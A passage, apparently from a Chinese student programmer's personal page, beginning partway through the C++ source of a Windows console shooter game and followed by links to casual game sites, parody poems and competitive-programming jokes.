            else if(!CanGo(I,J,6))//其他
            {
                if((M%100)/10==0) m[I][J]=84,Fan(i,j,M),m[i][j]+=10;
                if((M%100)/10==1)
                {
                    if(M/100==2&&m[I][J]==50) m[i][j]=0;
                    else m[I][J]=84;
                    if(F[14]==1&&M/100==1)
                    {
                            for(int ii=I-1;ii<=I+1;ii++)
                            for(int jj=J-1;jj<=J+1;jj++)
                            if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                    }
                }
                if((M%100)/10==2)
                {
                    m[I][J]=84;
                    if(m[I-1][J]!=2&&m[I-1][J]!=3)     m[I-1][J]=111;
                    if(m[I-1][J+1]!=2&&m[I-1][J+1]!=3) m[I-1][J+1]=112;
                    if(m[I][J+1]!=2&&m[I][J+1]!=3)     m[I][J+1]=113;
                    if(m[I+1][J+1]!=2&&m[I+1][J+1]!=3) m[I+1][J+1]=114;
                    if(m[I+1][J]!=2&&m[I+1][J]!=3)     m[I+1][J]=115;
                    if(m[I+1][J-1]!=2&&m[I+1][J-1]!=3) m[I+1][J-1]=116;
                    if(m[I][J-1]!=2&&m[I][J-1]!=3)     m[I][J-1]=117;
                    if(m[I-1][J-1]!=2&&m[I-1][J-1]!=3) m[I-1][J-1]=118;
                }
                if((M%100)/10==3) m[I][J]=M,nx[I][J]=1;
                if((M%100)/10==4) Light(i,j,M,3);
                if((M%100)/10==5)
                {
                    for(int ii=I-2;ii<=I+2;ii++)
                    for(int jj=J-2;jj<=J+2;jj++)
                    if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                }
                if((M%100)/10==6)
                {
                    for(int ii=I-1;ii<=I+1;ii++)
                    for(int jj=J-1;jj<=J+1;jj++)
                    if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=9;
                }
                if((M%100)/10>=7&&(M%100)/10<9) m[I][J]=84,Fan(i,j,M);
                if((M%100)/10==9) m[I][J]=84;
            }
            else//空地
            {
                if((M%100)/10==6)
                {
                    m[i][j]=9;
                    if(CanGo(i,j-1,5)) m[i][j-1]=9;if(CanGo(i,j+1,5)) m[i][j+1]=9;
                    if(CanGo(i-1,j,5)) m[i-1][j]=9;if(CanGo(i-1,j,5)) m[i+1][j]=9;
                    m[I][J]=M,nx[I][J]=1;
                }
                if((M%100)/10==4) m[i][j]=84,m[I][J]=M,i=2,j=2;
                else m[I][J]=M,nx[I][J]=1;
            }
        }
    }
    if(Bblood>0) Boss();
}
void Bullet()
{
    int I=0,J=0,R=rand()%10,Rr=rand()%3,Rrr,K=0,tg=gunT;
    Hh:Rrr=rand()%20;
    if(gunT==1&&m[X-1][Y]!=2&&m[X-1][Y]!=3) I=X-1,J=Y;
    if(gunT==2&&m[X-1][Y+1]!=2&&m[X-1][Y+1]!=3) I=X-1,J=Y+1;
    if(gunT==3&&m[X][Y+1]!=2&&m[X][Y+1]!=3) I=X,J=Y+1;
    if(gunT==4&&m[X+1][Y+1]!=2&&m[X+1][Y+1]!=3) I=X+1,J=Y+1;
    if(gunT==5&&m[X+1][Y]!=2&&m[X+1][Y]!=3) I=X+1,J=Y;
    if(gunT==6&&m[X+1][Y-1]!=2&&m[X+1][Y-1]!=3) I=X+1,J=Y-1;
    if(gunT==7&&m[X][Y-1]!=2&&m[X][Y-1]!=3) I=X,J=Y-1;
    if(gunT==8&&m[X-1][Y-1]!=2&&m[X-1][Y-1]!=3) I=X-1,J=Y-1;
    if(I!=0&&J!=0) m[I][J]=100+10*gunZ+gunT;
    if(K==1) m[I][J]=110+gunT;
    if(F[2]==1&&gunZ==1) m[I][J]=100+gunT;
    if(F[8]==1&&R==0&&K==0) {gunT=rand()%8+1;K=1;goto Hh;}
    if(F[8]==1&&K!=0&&K<Rr) {gunT=rand()%8+1;K++;goto Hh;} if(K>=Rr) gunT=tg;
    if(Rrr==0&&F[11]==1&&K==0) {m[I][J]=100+10*(rand()%7+1)+gunT;}
    if(gunZ!=1) {G[gunZ]--; if(G[gunZ]<=0) G[gunZ]=0,gunZ=1;Map(3);}
}
void OpenBox(int a)
{
    for(int i=X-1;i<=X+1;i++)
    for(int j=Y-1;j<=Y+1;j++)
    if(m[i][j]==3)
    {
        int r=2;//
        if(a==1) r=rand()%6+2;
        if(F[9]==1) r=rand()%12+2;
        SetPos(i,j);Color(5);
        if(r==2) cout<<"分裂枪！";
        if(r==3) cout<<"穿甲枪！";
        if(r==4) cout<<"激光枪！";
        if(r==5) cout<<"爆炸枪！";
        if(r==6) cout<<"毒气枪！";
        if(r==7) cout<<"弹跳枪！";
        if(r==8) cout<<"生命药水！",Blood=min(Blood+5,Bmax+2),Map(3);
        if(r==9) cout<<"盾牌药水！",Dun=min(Dun+5,Dmax+2),Map(3);
        if(F[9]==1&&r>=8&&r<=13) cout<<"生命药水！",Blood=min(Blood+5,Bmax+2),Map(3);
        Sleep(1000);m[i][j]=84;if(r<=7&&F[6]==0) gunZ=r,G[r]+=10;if(r<=7&&F[6]==1) gunZ=r,G[r]+=20;
        SetPos(i,j); cout<<"         ";Map(0);
    }
}
void Sheng()
{
    memset(m,0,sizeof(m));memset(n,0,sizeof(n));
    int q=0,T=0,II=0,JJ=0;
    Re: q++;
    int r=rand()%15+1;
    if(F[19]==1) r=rand()%20+1;
    if(r==1) {for(int i=5;i<=7;i++)for(int j=5;j<=7;j++) m[i][j]=2;for(int i=23;i<=25;i++)for(int j=5;j<=7;j++) m[i][j]=2;for(int i=5;i<=7;i++)for(int j=23;j<=25;j++) m[i][j]=2;for(int i=23;i<=25;i++)for(int j=23;j<=25;j++) m[i][j]=2;}
    if(r==2) {for(int i=13;i<=17;i++) for(int j=13;j<=17;j++) m[i][j]=1;}
    if(r==3) {for(int i=2;i<=28;i++) m[i][6]=m[i][24]=m[6][i]=m[24][i]=1;}
    if(r==4) {for(int i=2;i<=28;i++) m[i][15]=m[15][i]=1;}
    if(r==5) {for(int i=2;i<=28;i++) if(abs(i-15)>=3) m[i][15]=m[15][i]=2;}
    if(r==6) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) if(i==j||i+j==30) m[i][j]=1;}
    if(r==7) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) if(abs(i-15)+abs(j-15)==10) m[i][j]=1;}
    if(r==8) {for(int i=5;i<=25;i++) if(abs(i-15)>=2) m[i][10]=m[i][20]=m[10][i]=m[20][i]=2;}
    if(r==9) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) {int rr=rand()%20; if(rr==0&&m[i][j]==0) m[i][j]=1;}}
    if(r>=10&&II==0) {T--;int ii=rand()%27+2;int jj=rand()%27+2; for(int i=ii-1;i<=ii+1;i++) for(int j=jj-1;j<=jj+1;j++) if(m[i][j]==0) m[i][j]=1;II=ii,JJ=jj;}
    if(r>=10&&II!=0) goto Re;if(Lev<=5&&q<2) goto Re;
    T++;if(T==1) goto Re;if(II!=0) m[II][JJ]=3;
    r=rand()%15+1;
    if(r==1) {for(int i=5;i<=25;i++) n[i][4]=n[i][9]=n[i][15]=n[i][21]=n[i][26]=31;}
    if(r==2) {for(int i=8;i<=22;i++) n[i][8]=n[i][22]=n[8][i]=n[22][i]=31;}
    if(r==3) {for(int i=1;i<=5;i++) {int ii=rand()%23+4,jj=rand()%23+4;for(int ki=ii-2;ki<=ii+2;ki++)for(int kj=jj-2;kj<=jj+2;kj++) if(abs(ki-X)>2||abs(kj-Y)>2) n[ki][kj]=1;}}
    if(r==4) {for(int i=1;i<=7;i++) {int ii=rand()%23+4,jj=rand()%23+4;for(int ki=ii-1;ki<=ii+1;ki++)for(int kj=jj-1;kj<=jj+1;kj++) n[ki][kj]=11;}}
    if(r==5) {for(int i=1;i<=20;i++) {int ii=rand()%23+4,jj=rand()%13+1;jj*=2;for(int ki=ii-1;ki<=ii+1;ki++) n[jj+1][ki]=31;}}
    if(r==6) {for(int i=2;i<=28;i++) n[i][9]=n[i][10]=n[i][20]=n[i][21]=11;}
    if(r==7) {for(int i=5;i<=25;i++) n[4][i]=n[9][i]=n[15][i]=n[21][i]=n[26][i]=31;}
    if(r==8) {for(int i=7;i<=23;i++) for(int j=7;j<=23;j++) if(i==j||i+j==30) n[i][j]=31;}
    if(r==9) {for(int i=2;i<=28;i++) {if(i!=4&&i!=26&&!(i==Y&&(14<=X&&16>=X))) n[14][i]=n[15][i]=n[16][i]=1; m[14][i]=m[15][i]=m[16][i]=0;}}
    if(r==10) {for(int i=7;i<=23;i++) if(abs(i-15)>1) n[i][7]=n[i][23]=n[7][i]=n[23][i]=1;}
    Kk:
    int k=0,K[35][35]; memset(K,0,sizeof(K));
    if(Lev%5!=4)
    {
        for(int i=2;i<=28;i++)//怪
        for(int j=2;j<=28;j++)
        {
            if(Lev<=1) {int r=rand()%150;if(r==0) K[i][j]=50,k++;}
            else if(Lev<=2) {int r=rand()%200;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r<=1) k++;}
            else if(Lev<=3) {int r=rand()%300;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r<=2) k++;}
            else if(Lev<=5) {int r=rand()%400;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r<=3) k++;}
            else if(Lev<=7) {int r=rand()%350;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r==4) K[i][j]=54;if(r<=4) k++;}
            else {int r;if(Lev<=10) r=rand()%300;if(Lev<=15) r=rand()%280;if(Lev<=20) r=rand()%250;if(Lev<=25) r=rand()%230;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r==4) K[i][j]=54;if(r<=4) k++;}
        }if(k<3) goto Kk;if(k>5&&Lev<=3) goto Kk;if(k<5&&Lev>=10) goto Kk;if(k>10&&Lev<=10) goto Kk;if(k>15&&Lev<=15) goto Kk;if(k<10&&Lev>=20) goto Kk;if(k>20&&Lev<=20) goto Kk;
    }
    for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) {if(n[i][j]!=0) m[i][j]=0;if(K[i][j]!=0&&(m[i-1][j]!=2||m[i+1][j]!=2||m[i][j-1]!=2||m[i][j+1]!=2)) m[i][j]=K[i][j];}
    if(Lev%5==4) {int ms;if(Lev==4) ms=3;if(Lev==9) ms=5;if(Lev==14) ms=10;if(Lev==19) ms=15;if(Lev==24) ms=20;Bx=rand()%23+4,By=rand()%23+4;Bblood=ms*12;for(int i=14;i<=16;i++) for(int j=14;j<=16;j++) m[i][j]=n[i][j]=0;}
    for(int i=X-1;i<=X+1;i++) for(int j=Y-1;j<=Y+1;j++) if(i!=1&&i!=29&&j!=1&&j!=29) m[i][j]=0;
    for(int i=1;i<=29;i++) m[1][i]=2,m[29][i]=2; for(int i=1;i<=29;i++) m[i][1]=2,m[i][29]=2;//周围石块
}
void TianFu()
{
    int A[4],ss=0;
    system("cls");
    SetPos(5,5),cout<<"选择一个天赋！（数字键选择）"; 
    Tf:
    int R=rand()%20+1;
    for(int i=1;i<=3;i++) if(R==A[i]) goto Tf;
    if(F[R]==1) goto Tf;
    ss++,A[ss]=R; SetPos(4*ss+5,8),cout<<ss<<"、";
    if(R==1) SetPos(4*ss+5,10),cout<<"盾牌恢复速度增加";
    if(R==2) SetPos(4*ss+5,10),cout<<"普通子弹有概率弹跳";
    if(R==3) SetPos(4*ss+5,10),cout<<"怪物子弹速度变慢";
    if(R==4) SetPos(4*ss+5,10),cout<<"免疫地刺和怪物的毒";
    if(R==5) SetPos(4*ss+5,10),cout<<"开局无敌时间增加";
    if(R==6) SetPos(4*ss+5,10),cout<<"宝箱子弹量增加";
    if(R==7) SetPos(4*ss+5,10),cout<<"盾牌上限增加";
    if(R==8) SetPos(4*ss+5,10),cout<<"有概率发射散弹";
    if(R==9) SetPos(4*ss+5,10),cout<<"宝箱抽出生命水概率增加";
    if(R==10) SetPos(4*ss+5,10),cout<<"每次开局有概率增加生命";
    if(R==11) SetPos(4*ss+5,10),cout<<"有概率发射特殊子弹";
    if(R==12) SetPos(4*ss+5,10),cout<<"激光伤害减半";
    if(R==13) SetPos(4*ss+5,10),cout<<"盾牌爆后无敌一段时间";
    if(R==14) SetPos(4*ss+5,10),cout<<"普通子弹有概率爆炸";
    if(R==15) SetPos(4*ss+5,10),cout<<"杀死怪有几率加盾（BOSS关除外）";
    if(R==16) SetPos(4*ss+5,10),cout<<"出场释放冲击波";
    if(R==17) SetPos(4*ss+5,10),cout<<"盾牌爆后释放冲击波";
    if(R==18) SetPos(4*ss+5,10),cout<<"有概率在身周放毒";
    if(R==19) SetPos(4*ss+5,10),cout<<"刷出宝箱概率增加";
    if(R==20) SetPos(4*ss+5,10),cout<<"每次开局获得一把枪";
    if(ss<3) goto Tf;
    tF:
    char c=_getch();
    if(c>='1'&&c<='3') F[A[c-'0']]=1;
    else goto tF;
    if(A[c-'0']==7) Dmax+=3;
}
void GuaiQuan()
{
    X=3,Y=3;Win=-1;system("cls");Color(0);
    memset(m,0,sizeof(m));memset(n,0,sizeof(n));
    for(int i=1;i<=29;i++) m[1][i]=2,m[29][i]=2;
    for(int i=1;i<=29;i++) m[i][1]=2,m[i][29]=2;//周围石块 
    for(int i=4;i<=12;i++) m[i][4]=m[i][12]=m[4][i]=m[12][i]=m[i][18]=m[i][26]=m[18][i]=m[26][i]=2;
    for(int i=18;i<=26;i++) m[i][4]=m[i][12]=m[4][i]=m[12][i]=m[i][18]=m[i][26]=m[18][i]=m[26][i]=2;
    for(int i=11;i<=19;i++) m[i][11]=m[i][19]=m[11][i]=m[19][i]=2;
    for(int i=6;i<=10;i++) for(int j=13;j<=17;j++) m[i][j]=1; 
    m[8][8]=50;m[8][21]=51;m[15][15]=52;m[21][8]=53;m[21][21]=54;m[16][23]=3;Map(5);
    SetPos(3,5);cout<<"←你";SetPos(4,14);cout<<"木箱↓";SetPos(17,4);cout<<"铁块↓";SetPos(17,21);cout<<"宝箱↑";
    SetPos(13,5);cout<<"无脑小怪↑";SetPos(14,21);cout<<"剧毒小怪↑";
    SetPos(20,13);cout<<"散弹小怪↑";SetPos(27,5);cout<<"狙击小怪↑";SetPos(27,21);cout<<"激光小怪↑";
    while(1)
    {
        if(bu>0) bu--;
        if(GetAsyncKeyState(VK_UP)&0x8000) Map(2),gx--; 
        else if(GetAsyncKeyState(VK_DOWN)&0x8000) Map(2),gx++;
        else if(GetAsyncKeyState(VK_LEFT)&0x8000) Map(2),gy--;
        else if(GetAsyncKeyState(VK_RIGHT)&0x8000) Map(2),gy++;
        if(kbhit())
        {
            char g=_getch();
            if(g=='a') {Map(2); if(gunT!=1) gunT--;else gunT=8;}
            if(g=='d') {Map(2); if(gunT!=8) gunT++;else gunT=1;}
            if(g=='w') OpenBox(1);
            if(g=='s'&&bu<=2) Bullet(),bu+=2;
            if(g==' ') Sleep(100),SetPos(-1,18),sy++,system("pause");
            if(g=='y'&&Win<0) {break;}
        }
        if(sy==1) SetPos(-1,18),cout<<"                           ",sy--;
        Move(); Map(0); Sleep(50);
    }Lev=0;Blood=10,Dun=10,Bmax=10,Dmax=10;
}
void Start()
{
    Color(5);
    SetPos(2,3);cout<<"     ■■■■■■            ■                  ";
    SetPos(3,3);cout<<"                            ■■■■■■■■     ";
    SetPos(4,3);cout<<"                           ■                    ";
    SetPos(5,3);cout<<" ■■■■■■■■■■    ■  ■■■■■■        ";
    SetPos(6,3);cout<<"       ■    ■                                  ";
    SetPos(7,3);cout<<"       ■    ■              ■■■■■■■      ";
    SetPos(8,3);cout<<"      ■     ■  ■                    ■        ";
    SetPos(9,3);cout<<"   ■■       ■■■                  ■        ";
    SetPos(10,3);cout<<"                                      ■    ■  ";
    SetPos(11,3);cout<<"                         小            ■■■■ ";
    SetPos(13,3);cout<<" 2.0版本：                                      ";
    SetPos(14,3);cout<<"                               ■■■     ■    ";
    SetPos(15,3);cout<<" 新增BOSS！Crab-Dave！         ■  ■    ■     ";
    SetPos(16,3);cout<<"                               ■■■  ■    ■ ";
    SetPos(17,3);cout<<" 水,生木块,地刺加入战场！      ■  ■ ■■■■■";
    SetPos(18,3);cout<<"                               ■  ■           ";
    SetPos(19,3);cout<<" 身周不会刷出石和水了！        ■■■  ■■■■ ";
    SetPos(20,3);cout<<"                               ■  ■  ■    ■ ";
    SetPos(21,3);cout<<" BUG修正于小优化！努力通关吧！ ■  ■  ■    ■ ";
    SetPos(22,3);cout<<"                            ■■   ■  ■■■■ ";
    SetPos(25,4);Color(1);cout<<"按 y 开始游戏!";
    SetPos(29,3);Color(3);cout<<"注意！这里 绝对不能是拼音输入法!";
    A:char y=_getch();
    if(y=='y') return;
    else goto A;
}
void Bling()
{
    for(int i=0;i<=3;i++)
    {
        system("color 1A");Sleep(10);
        system("color 2B");Sleep(10);
        system("color 3C");Sleep(10);
        system("color 4D");Sleep(10);
        system("color 5D");Sleep(10);
        system("color 6E");Sleep(10);
        system("color 7F");Sleep(10);
    }system("color 0F");system("cls");
}
void BaoBo(int B)
{
    for(int i=X-B;i<=X+B;i++) if(CanGo(i,Y-B,3)&&i>0&&Y-B>0) m[i][Y-B]=86,m[i][Y-B+1]=8;
    for(int i=X-B;i<=X+B;i++) if(CanGo(i,Y+B,3)&&i>0&&Y+B>0) m[i][Y+B]=86,m[i][Y+B-1]=8;
    for(int j=Y-B;j<=Y+B;j++) if(CanGo(X+B,j,3)&&j>0&&X+B>0) m[X+B][j]=86,m[X+B-1][Y]=8;
    for(int j=Y-B;j<=Y+B;j++) if(CanGo(X-B,j,3)&&j>0&&X-B>0) m[X-B][j]=86,m[X-B+1][Y]=8;
}
void Ci()
{
    for(int i=1;i<=29;i++)
    for(int j=1;j<=29;j++)
    {
        if(n[i][j]>=10&&n[i][j]<50&&n[i][j]!=30) n[i][j]++;
        if(n[i][j]==50) {n[i][j]=31;if(m[i][j]==2) m[i][j]=0;}
        if(n[i][j]==45&&!(m[i][j]>=50&&m[i][j]<55)&&!(abs(Bx-i)<=1&&abs(By-i)<=1)) m[i][j]=2;
        if(n[i][j]>20&&n[i][j]<=30&&m[i][j]==0) n[i][j]=10;
        if(n[i][j]==20&&m[i][j]==0&&!(abs(Bx-i)<=1&&abs(By-i)<=1)) m[i][j]=1;
    }
}
int main()
{
    system("mode con cols=62 lines=34");
    CONSOLE_CURSOR_INFO cursor_info={1,0};
    SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);
    srand((unsigned)time(NULL));
    SSt: 
    Start();Bling();
    X=4,Y=8,gx=gy=0,gunT=1,gunZ=1,Lev=0,T;
    Blood=10,Dun=10,Bmax=10,Dmax=10;
    memset(G,0,sizeof(G)); memset(F,0,sizeof(F));
    GuaiQuan();
    St:
    Win=0;Bo=Boo=0;
    memset(m,0,sizeof(m));
    if(Lev%5==0&&Lev!=0) TianFu();
    Bling();T=0;Sheng();Map(1);int rr=rand()%3;
    if(F[5]==1) WuDi=60;else WuDi=30;
    if(rr==0&&F[10]==1) Blood=min(Blood+1,Bmax);
    if(F[16]==1) Bo=4;
    if(F[20]==1) {int Q=rand()%7+2;gunZ=Q,G[Q]=5;}
    while(Win<=0&&Blood>0&&Lev<25)
    {
        T++;
        if(bu>0) bu--;
        if(WuDi>0) WuDi--;
        if(WuDi==1) WuDi--,Map(4);
        if(Bo>0) BaoBo(5-Bo),Bo--;
        if(Boo>0) BaoBo(4-Boo),Boo--;
        if(F[18]==1)
        {
            int Rrr=rand()%30;
            if(Rrr==0)
            for(int i=X-2;i<=X+2;i++)
            for(int j=Y-2;j<=Y+2;j++) if(CanGo(i,j,5)&&i>0&&j>0) m[i][j]=9;
        }
        if(Dun<Dmax)
        {
            if(F[1]==1&&T%30==0) Dun++,Map(3);
            if(F[1]==0&&T%70==0) Dun++,Map(3);
        }
        if(GetAsyncKeyState(VK_UP)&0x8000) Map(2),gx--; 
        else if(GetAsyncKeyState(VK_DOWN)&0x8000) Map(2),gx++;
        else if(GetAsyncKeyState(VK_LEFT)&0x8000) Map(2),gy--;
        else if(GetAsyncKeyState(VK_RIGHT)&0x8000) Map(2),gy++;
        if(kbhit())
        {
            char g=_getch();
            if(g=='a') {Map(2); if(gunT!=1) gunT--;else gunT=8;}
            if(g=='d') {Map(2); if(gunT!=8) gunT++;else gunT=1;}
            if(g=='w') OpenBox(0);
            if(g=='s'&&bu<=2) Bullet(),bu+=2;
            if(g==' ') Sleep(100),SetPos(-1,18),sy++,system("pause");
        }
        if(sy==1) SetPos(-1,18),cout<<"                           ",sy--;
        if(T%2==0) Ci();
        Move();Map(0);Sleep(50);
    }
    if(Win==0&&Blood<=0&&Lev<25)
    {
        system("color 7F"),Color(4);Lev=0;Blood=Dun=Bmax=Dmax=10;
        Bblood=Bsi=Bjiao=Bdu=Bfang=0;
        memset(G,0,sizeof(G)); memset(F,0,sizeof(F));
        SetPos(2,2);cout<<"You! Die!!!",Sleep(1000);
        SetPos(3,2);cout<<"Please point 'y' to Play AGain.";
    }
    if(Lev<25) { A:char e=_getch();if(e=='y') goto St;else goto A;}
    if(Lev==25)
    {
        system("color 6E"),Color(5);
        SetPos(2,2),cout<<"You! Pass All The Level!!!";Sleep(3000);
        system("color 0F");system("cls");goto SSt;
    }
    return 0;
}

你知道一个AC有多少RE值吗，50万RE值。那些RE值我两辈子都写不到。然而，那些管理员却有用不完的RE值。他们宁愿让账号崩溃也不愿给我们。--《网吧演讲》

摸鱼人的小仓库 http://www.staggeringbeauty.com/ 大虫子 华容道 chrome://dino/ [https://www.ak-ioi.com/apps/oi-2048/] 华容道 chrome://dino/(https://www.ak-ioi.com/apps/oi-2048/) 华容道 霸王龙恐龙游戏 - 铬恐龙跑酷在线 (chromedino.com) 小恐龙 https://littlealchemy2.com/ 小小炼金师 https://2048game.com/ 数字组 https://dimit.me/Fe26/index_zh_CN.html 死铁 http://www.4399.com/ 4399 https://www.mazegenerator.net/ 迷宫 https://lewan.baidu.com/rankland?idfrom=5056&gameSource=mini&gameType=0 百度游戏 [https://deepmess.com/namerena/]名字竞技场

ev.io 枪战游戏 https://www.crazygames.com/game/air-wars-2 飞机 https://www.crazygames.com/game/kirka-io 枪战 https://www.crazygames.com/game/ev-io 枪战小游戏(https://poki.com)CrazyGames - Free Online Games on CrazyGames.com 1.日照香炉生紫烟，李白来到太平间。头朝地脚朝天，带着微笑上西天。

2.床前明月光，小偷爬进窗。打开保险柜，钞票一张张。

3.春眠不觉晓，处处蚊子咬。夜来香港脚，臭的不得了。

4.朝辞白帝彩云间，某人坐在小河边。小李飞刀一瞬间，某人变成小太监。

5.锄禾日当午，地雷埋下土。你娃挖地雷，变成二百五。

6.日照香炉生紫烟，李白走进烤鸭店，口水流下三千尺，一摸兜里没有钱。

7.墙角数枝梅，不知你爱谁。如果你不说，就是你同桌。

8.春眠不觉晓，处处蚊子咬。夜来大狗熊，谁也跑不了。

9.李白乘舟不给钱，渔夫一脚踢下船。桃花潭水深千尺，不知李白死没死。

10.床前明月光，李白爬上窗。遇见X光，头发变光光。

11.少小离家胖了回，乡音无改肉成堆。儿童相见不相识，笑问胖子你是谁。

12.远上香山石径斜，白云深处我和她。原想王子见公主，实是恐龙见青蛙。

13.大千网络绿映红，聊天见面心见空。见面四百八十次，多少恐龙在其中。

14.北理朝雨浥清晨，满腹失望伤透心。劝君在莫找网友，明日出家奔少林。

15.春眠不洗脚，处处蚊子咬。夜来鬼敲门，吓死乡巴佬。

16.垂死病中惊坐起，小丑竟是我自己。

17.巴山楚水凄凉地，Responsibility。

18.劝君更尽一杯酒，你说我丑那我走？

19.四面边声连角起，牛马竟是我自己。

20.两岸猿声啼不住，欢迎来到对抗路。

21.先帝创业未半，蹦迪花光预算。

22.宝剑锋从磨砺出，得来全不费工夫。

23.乾坤未定，你我皆是牛马。

24.老骥伏枥，志在千里，横扫饥饿，做回自己。

25.垂死梦中惊坐起，扶摇直上九万里。

26.如果巅峰留不住，那就进厂包吃包住。如果志同道合，那就流水线回合。有福就同享，有难就进厂，厂里包吃包住，大风大浪挺得住。

西江月·夜行AC道中

明月别枝惊鹊，清风半夜鸣蝉。 稻花香里说AC,听取WA声一片。 七八个TLE外，两三点RLE前。 旧时茅店CE边，路转西桥忽见。

作弊不要慌，逮到就要装。

生是中国人，死是中国魂。

要我学洋文，死都不可能。

抢饭不积极，智商有问题。

上课不放屁，肠道有问题。

英语不及格，说明我爱国。

语文不及格，恋爱没资格。

物理不及格，电死不负责。

化学不及格，硫酸也喝得。

政治不及格，老师没道德。

信息不及格，网吧要打折。

数学不及格，突出我性格。

历史不及格，社会要改革。

全科不及格，老妈动真格。

一位洗碗的大姐，经常被别人叫阿姨，她嫌弃阿姨不好听，就给自己取了一个特别牛的名字：瓷洗太后。 隔壁补胎的师傅受到启发，给自己取了一个国际范的名字：拿破轮。 电焊工听到，受到启发，也给自己取了一个名字：焊武帝。 一日电焊工去糖果店炫耀自己的名字，老板啦叫他看他的名字：糖太宗。 电焊工看了沉默了。这时一辆粪车路过，发写这三个大字：擒屎皇。 路边捆菜的阿姨行不下去了，叫到你们的名字算什么？ 看看我的名字，众人一看这名字取得不一般，大喊到捆菜阿姨的名字：菜需捆！！！ 从此，镇上工作的人，再也没有互相比过名字。

一步杀亿人，万里不留人。 天上天下，唯我独尊。

天冷极了，下着雪，又快黑了。 这是NOIP的前夜。在这又冷又黑的晚上，一个衣衫破烂的小女孩在机房敲着代码。 她从班里逃出来的时候还拿着一本算导，但是有什么用呢？ 那是一本很破旧的书——那么大，一向是她妈妈垫桌角的。 她默写SPFA的时候，年级主任突然冲进机房，吓得她把算导都丢掉了。 书叫一个学数竞捡起来拿着跑了。 他说，他可以用那本书当草纸，证明切比雪夫定理。 小女孩只好自己写二叉堆，一双小脚冻得红一块青一块的。 她面前的草纸堆得满满的，上面全是DP转移方程。 这一整天，没有一个OJ让她AC一道题，她已经交了32遍采药了。可怜的小女孩！ 她又冷又饿，浑身战栗地写着二叉堆。CRT显示器发出的光落在她的枯黄的长头发上，那干枯的头发打成卷儿披在肩上，看上去就像二叉树，不过她没注意这些。 每个显示器里都透出光来，机房里飘着一股CPU发糊的怪味，因为这是NOIP前夜——她可忘不了这个。她在主函数前面停了下来，蜷着趴在键盘上。 她觉得更冷了。她不敢回家，因为她还没调完二叉堆，没写对一个DP方程，没做对一道题（包括Hello World），教练一定会打她、骂她的。再说，换成别的数据结构，一样写不出来。 这些题都太水，虽然神犇都写过题解了，但是题解上一般都只有三个字：傻X题（初窥门径）。她几乎绝望了。 啊，哪怕一个函数不会RE，对她也是有好处的！！！她每写一遍程序，跑出来的结果就不一样，要是她有数据，她就知道哪一个程序是算对了的。 她得不到数据了，因为机房上不去网了，全校的网速都让隔壁的年级主任拿来下小电影了。 如果能保证下一个程序能AC，她就敢再写几十KB的代码，但是她是不敢啊，她怕又算出来一个奇葩的结果来。她新建了一个cpp重写了程序。 编译通过了，样例过了。这次，她感觉自己站在IOI的考场中AK。学校的大门上，贴着“我校学生以国际金 牌向110周年校庆献礼”的条幅。 在班级内的非诚勿扰中，全班男生都给她留了灯。这时候，程序又RE了，她面前只有cmd上的黑底白字。她又写了一道模拟。 这一回，她坐在美丽的二叉堆下。这棵二叉堆，比她在丽洁代码中看到的常数还要小，还要短。 眼前是许多优美动人的ASCII码，那些都是她写的程序，各种可爱的指针在跳跃着，满世界都是系统栈，都在向她眨眼睛。小女孩向眼前的系统栈伸出手去。 这时候，眼前的ASCII码还在，条幅还在，指针还在，年级主任还是和蔼地微笑着。只见那些代码那些指针越升越高越升越高，最后成了在天空中闪烁的星星。 有一颗星星落下来了，在天空中划出了一道细长的红光。“有一个什么人快要死了。” 小女孩说。 唯一疼她的学姐保送之前告诉过她：一颗星星落下来，就有一个灵魂要到上帝那儿去了。她notepad++中又写了一个快排。这一回，她把能用的IDE都用了。 学姐出现在亮光里，是那么温和，那么快乐。“学姐！” 小女孩叫起来，“啊！请把我带走吧！我知道，系统栈一溢出，您就会不见的，像那校门的条幅，浮点数的精度，循环队列的空间一个样，就会不见的！” 她赶紧编译了5KB的高精度模板，要把学姐留住。一大把程序发出强烈的光，把机房照得跟白天一样明亮。学姐从来没有像现在这样温柔，这样美丽。 她把小女孩抱起来，搂在怀里。她们俩在光明和快乐中飞走了，越飞越高，飞到那没有DP，没有图论，也没有数据结构的地方去了。 第二天清晨，这个小女孩坐在机房里，两腮通红，嘴上带着微笑。她保送了，在NOIP的前夜死了。NOIP Day1的太阳升起来了，照在她小小的校服上。 小女孩坐在那儿，显示器上还有一堆编译过的代码。“她想好好复习复赛。” 人们说。 谁也不知道她曾经看到过多么美丽的东西，她曾经多么幸福，跟着她学姐一起走向新世界的幸福中去。

《小码君の语录》人类最大的敌人是BUG，其次是oj。 生而AC，我很抱歉。 小时候，我妈说我的手指长，将来能当钢琴家，然后我成了码农。 人生真是讽刺，我竟然可以AC？ 你说过等我的...... AC，WA，往往只在一字之间。 xmw天生就舍弃了oj的意义！ 我要AC，哪怕赌上我的一切。 退后，你们这些无知的WA！你不会就这样死的，我的AC！ 纵使黑云蔽日，我也要燃烧天空，带BUG进入地狱。 我战斗到了最后一刻！ 键盘修好之日，码王归来之时！

